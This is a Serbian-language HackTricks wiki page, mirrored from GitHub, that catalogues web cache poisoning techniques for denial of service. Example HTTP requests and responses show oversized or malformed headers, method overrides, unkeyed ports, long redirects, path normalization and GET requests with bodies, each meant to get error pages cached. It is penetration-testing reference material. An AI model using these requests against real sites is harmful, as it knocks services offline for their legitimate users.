mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
4.0 KiB
Markdown
126 lines
4.0 KiB
Markdown
# Cache Poisoning to DoS
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
> [!CAUTION]
|
|
> Na ovoj stranici možete pronaći različite varijacije kako pokušati da **web server odgovori greškama** na zahteve koji su **validni za servere keširanja**
|
|
|
|
- **HTTP Header Oversize (HHO)**
|
|
|
|
Pošaljite zahtev sa veličinom zaglavlja većom od one koju podržava web server, ali manjom od one koju podržava server keširanja. Web server će odgovoriti sa 400 odgovorom koji može biti keširan:
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Oversize-Hedear:Big-Value-000000000000000
|
|
```
|
|
- **HTTP Meta Character (HMC) & Neočekivane vrednosti**
|
|
|
|
Pošaljite header koji sadrži neke **štetne meta karaktere** kao što su i . Da bi napad uspeo, prvo morate da zaobiđete keš.
|
|
```
|
|
GET / HTTP/1.1
|
|
Host: redacted.com
|
|
X-Meta-Hedear:Bad Chars\n \r
|
|
```
|
|
Loše konfigurisana zaglavlja mogu biti samo `\:` kao zaglavlje.
|
|
|
|
Ovo takođe može raditi ako se pošalju neočekivane vrednosti, kao što je neočekivani Content-Type:
|
|
```
|
|
GET /anas/repos HTTP/2
|
|
Host: redacted.com
|
|
Content-Type: HelloWorld
|
|
```
|
|
- **Unkeyed header**
|
|
|
|
Neki vebsajti će vratiti kod greške ako **vide neke specifične zaglavlja** u zahtevu kao što je sa _X-Amz-Website-Location-Redirect: someThing_ zaglavljem:
|
|
```
|
|
GET /app.js HTTP/2
|
|
Host: redacted.com
|
|
X-Amz-Website-Location-Redirect: someThing
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
|
|
Invalid Header
|
|
```
|
|
- **HTTP Method Override Attack (HMO)**
|
|
|
|
Ako server podržava promenu HTTP metode pomoću zaglavlja kao što su `X-HTTP-Method-Override`, `X-HTTP-Method` ili `X-Method-Override`. Moguće je zatražiti važeću stranicu menjajući metodu tako da server ne podržava, tako da se loš odgovor kešira:
|
|
```
|
|
GET /blogs HTTP/1.1
|
|
Host: redacted.com
|
|
HTTP-Method-Override: POST
|
|
```
|
|
- **Unkeyed Port**
|
|
|
|
Ako je port u Host header-u odražen u odgovoru i nije uključen u cache ključ, moguće je preusmeriti ga na neiskorišćen port:
|
|
```
|
|
GET /index.html HTTP/1.1
|
|
Host: redacted.com:1
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: https://redacted.com:1/en/index.html
|
|
Cache: miss
|
|
```
|
|
- **Long Redirect DoS**
|
|
|
|
Kao u sledećem primeru, x se ne kešira, tako da napadač može da iskoristi ponašanje odgovora na preusmeravanje da napravi preusmeravanje koje šalje URL toliko veliki da vraća grešku. Tada će ljudi koji pokušavaju da pristupe URL-u bez nekovanog x ključa dobiti odgovor sa greškom:
|
|
```
|
|
GET /login?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 301 Moved Permanently
|
|
Location: /login/?x=veryLongUrl
|
|
Cache: hit
|
|
|
|
GET /login/?x=veryLongUrl HTTP/1.1
|
|
Host: www.cloudflare.com
|
|
|
|
HTTP/1.1 414 Request-URI Too Large
|
|
CF-Cache-Status: miss
|
|
```
|
|
- **Normalizacija velikih i malih slova u host header-u**
|
|
|
|
Host header bi trebao biti neosetljiv na velika i mala slova, ali neka web stranice očekuju da bude u malim slovima, vraćajući grešku ako nije:
|
|
```
|
|
GET /img.png HTTP/1.1
|
|
Host: Cdn.redacted.com
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cache:miss
|
|
|
|
Not Found
|
|
```
|
|
- **Normalizacija putanje**
|
|
|
|
Neke stranice će vraćati kodove greške šaljući podatke URLencode u putanji, međutim, cache server će URLdecode-ovati putanju i sačuvati odgovor za URLdecoded putanju:
|
|
```
|
|
GET /api/v1%2e1/user HTTP/1.1
|
|
Host: redacted.com
|
|
|
|
|
|
HTTP/1.1 404 Not Found
|
|
Cach:miss
|
|
|
|
Not Found
|
|
```
|
|
- **Fat Get**
|
|
|
|
Neki cache serveri, kao što su Cloudflare, ili web serveri, zaustavljaju GET zahteve sa telom, tako da se ovo može iskoristiti za keširanje nevažećeg odgovora:
|
|
```
|
|
GET /index.html HTTP/2
|
|
Host: redacted.com
|
|
Content-Length: 3
|
|
|
|
xyz
|
|
|
|
|
|
HTTP/2 403 Forbidden
|
|
Cache: hit
|
|
```
|
|
## Reference
|
|
|
|
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
|
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|